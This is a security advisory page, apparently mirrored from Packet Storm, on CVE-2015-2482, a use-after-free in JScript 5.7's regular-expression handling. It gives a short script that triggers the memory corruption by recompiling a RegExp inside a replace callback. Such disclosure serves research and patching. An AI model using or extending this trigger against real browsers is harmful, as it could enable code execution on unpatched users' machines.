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HistoryOct 14, 2015 - 12:00 a.m.

JScript 5.7 RegExpBase::FBadHeader Use-After-Free

2015-10-1400:00:00
SkyLined
packetstormsecurity.com
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0.942 High

EPSS

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99.2%

`Recompiling the regular expression pattern during a replace can cause  
the code  
to reuse a freed string, but only if the string is freed from the cache by  
allocating and freeing a number of strings of certain size.  
  
CVE-2015-2482:  
http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-2482  
ZDI-15-515: http://www.zerodayinitiative.com/advisories/ZDI-15-515/  
MS15-108: https://technet.microsoft.com/en-us/library/security/MS15-108  
  
Repro:  
<script>  
var r=new RegExp("A|x|x|xx|xxxxxxxxxxxxxxxxxxxx+", "g");  
"A".replace(r, function (){  
for (var j = 0; j < 16; j++) new Array(0x1000).join("B");  
r.compile();  
});  
</script>  
  
Repro-in-a-tweet:  
https://twitter.com/berendjanwever/status/654048253047140352  
  
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